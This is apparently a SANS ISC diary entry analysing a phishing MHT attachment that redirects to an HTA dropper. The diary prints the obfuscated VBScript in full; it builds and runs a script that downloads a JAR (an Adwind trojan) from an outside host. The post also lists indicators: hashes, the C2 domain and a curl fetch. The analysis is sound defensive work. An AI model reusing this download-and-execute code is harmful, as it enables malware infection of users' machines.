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Malware Delivered Through MHT Files

Published: 2018-09-13
Last Updated: 2018-09-13 06:30:39 UTC
by Xavier Mertens (Version: 1)
2 comment(s)

What are MHT files? Microsoft is a wonderful source of multiple file formats. MHT files are web page archives. Usually, a web page is based on a piece of HTML code with links to external resources, images and other media. MHT files contain all the data related to a web page in a single place and are therefore very useful to archive them. Also called MHTML[1] (MIME Encapsulation of Aggregate HTML Documents), there are encoded like email messages using MIME parts.

To save a web page in MHT format, in Internet Explorer, just press CTRL-S, select the “MHT” file format and save:

Note that MHT files have their own icon (that does not look suspicious at all):

Let's check what's inside an MHT file. They look like plain text files or EML files:

$ file isc-archive.mht
isc-archive.mht: news or mail text, ASCII text, with CRLF line terminators
$ head -15 isc-archive.mht
From: "Saved by Internet Explorer 11"
Subject: Internet Storm Center - SANS Internet Storm Center
Date: Wed, 12 Sep 2018 15:31:26 +0200
MIME-Version: 1.0
Content-Type: multipart/related;
    type="multipart/alternative";
    boundary="----=_NextPart_000_0000_01D44AAD.AB116AB0"
X-MimeOLE: Produced By Microsoft MimeOLE

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01D44AAD.AB116AB0
Content-Type: application/octet-stream
Content-Transfer-Encoding: quoted-printable
Content-Location: https://patchtuesdaydashboard.com/

This looks like a nice way to trick the user to open such kind of files! And malicious content can be delivered encoded in Base64. So nice!

While hunting, I found a very simple  MHT file attached to a phishing email (SHA256:fe2edf097ad9e50169b1f33dc4c32371134ba0e8e2893aa8899ae003712d1f5a)

$ cat Invoice.mht.vir
-
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="windows-1256"

<META http-equiv=3Drefresh content=3D1;url=3Dhxxp://www.thaipak[.]com/zy.php>

This file has a score of 1/59 on VT[2]!

When the victim opens this file, he/she's redirected to another URL: hxxp://meta-mim[.]in/zwry/Invoice.hta. Funny, while I was investigating this sample, the first time I got this content returned by the server:

$ cat Invoice.hta.vir
<br />
<b>Notice</b>:  Undefined index: usname in <b>/home/thaipakc/public_html/zy.php</b> on line <b>6</b><br />
<br />
<b>Notice</b>:  Undefined index: upassword in <b>/home/thaipakc/public_html/zy.php</b> on line <b>7</b><br />

Probably they were still debugging some code? 

Interesting, I was able to grab the file by passing dummy values to the expected variables. And I got the HTA file content:

$ curl "hxxp://www[.]thaipak[.]com/zy.php?usname=foo&upassword=bar"

This URL drops an Invoice.hta file. Here is the content:

$ cat -n Invoice.hta.vir
     1    <html>
     2    <head>
     3    <SCRIPT Language="VBScript">
     4    Set  QIAOQO = CreateObject(Chr(115)&Chr(104)&Chr(101)&Chr(108)&Chr(108)&Chr(46)&Chr(97)&Chr(112)&Chr(112)&Chr(108)&Chr(105)&Chr(99)&Chr(97)&Chr(116)&Chr(105)&Chr(111)&Chr(110))
     5
     6    QIAOQO.ShellExecute Chr(66+1) & Chr(76+1) & Chr(99+1), chr(32)&chr(47)&chr(99)&chr(32)&chr(99)&chr(100)&chr(32)&chr(37)&chr(116)&chr(101)&chr(109)&chr(112)&chr(37) & " &   @Echo N7a = ""http://www.meta-mim.in/zwry/sb.jar"">>P8s.vbs &@echo P2e = A5i(""WQN9UL]"")>>P8s.vbs &@echo Set F3e = CreateObject(A5i(""X^cXW=9cXWS__[""))>>P8s.vbs &@echo F3e.Open A5i(""RP_""), N7a, False>>P8s.vbs &@echo F3e.send ("""")>>P8s.vbs &@echo Set N0x = CreateObject(A5i(""LOZOM9^_]PLX""))>>P8s.vbs &@echo N0x.Open>>P8s.vbs &@echo N0x.Type = 1 >>P8s.vbs &@echo N0x.Write F3e.ResponseBody>>P8s.vbs & @echo N0x.Position = 0 >>P8s.vbs &@echo N0x.SaveToFile P2e, 2 >>P8s.vbs &@echo N0x.Close>>P8s.vbs  &@echo function A5i(G1g) >> P8s.vbs &@echo For D7v = 1 To Len(G1g) >>P8s.vbs &@echo Y9l = Mid(G1g, D7v, 1) >>P8s.vbs &@echo Y9l = Chr(Asc(Y9l)- 11) >>P8s.vbs &@echo W3o = W3o + Y9l >> P8s.vbs &@echo Next >>P8s.vbs &@echo A5i = W3o >>P8s.vbs &@echo End Function >>P8s.vbs& P8s.vbs &dEl P8s.vbs & timeout 13 & LFC.JAR", "","",0
     7
     8    self.close
     9    </SCRIPT>
    10    </body>
    11    </html>

It's a very easy one, it creates a VBS script (line 6) on disk and executes it. Here is the beautified version of the script:

$ cat -n P8s.vbs.virN
     1 7a = "http://www.meta-mim.in/zwry/sb.jar"
     2 P2e = A5i("WQN9UL]")
     3 Set F3e = CreateObject(A5i(X^cXW=9cXWS__["))
     4 F3e.Open A5i(""RP_""), N7a, False
     5 F3e.send ("")
     6 Set N0x = CreateObject(A5i("LOZOM9^_]PLX))
     7 N0x.Open
     8 N0x.Type = 1
     9 N0x.Write F3e.ResponseBody
    10 N0x.Position = 0
    11 N0x.SaveToFile P2e, 2
    12 N0x.Close
    13 
    14 Function A5i(G1g)
    15   For D7v = 1 To Len(G1g)
    16     Y9l = Mid(G1g, D7v, 1)
    17     Y9l = Chr(Asc(Y9l)- 11)
    18     W3o = W3o + Y9l
    19   Next
    20   A5i = W3o
    21 End Function 

The function A5i() is used to obfuscate strings. Example, in line 2,  A5i("WQN9UL]") returns the name of the created file ("LFC.JAR").

What about the dropped malware? It's a classic Adwind trojan (SHA256:9e39d03539318048909b4b290b8b1e6d91685b6f358ede3afa9f8e0ef6a8c411) but will a low VT score: 3/58[3]. The C2 is iheuche009.hopto.org. 

[1] https://en.wikipedia.org/wiki/MHTML
[2] https://www.virustotal.com/#/file/fe2edf097ad9e50169b1f33dc4c32371134ba0e8e2893aa8899ae003712d1f5a/detection
[3] https://www.virustotal.com/#/file/9e39d03539318048909b4b290b8b1e6d91685b6f358ede3afa9f8e0ef6a8c411/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

2 comment(s)
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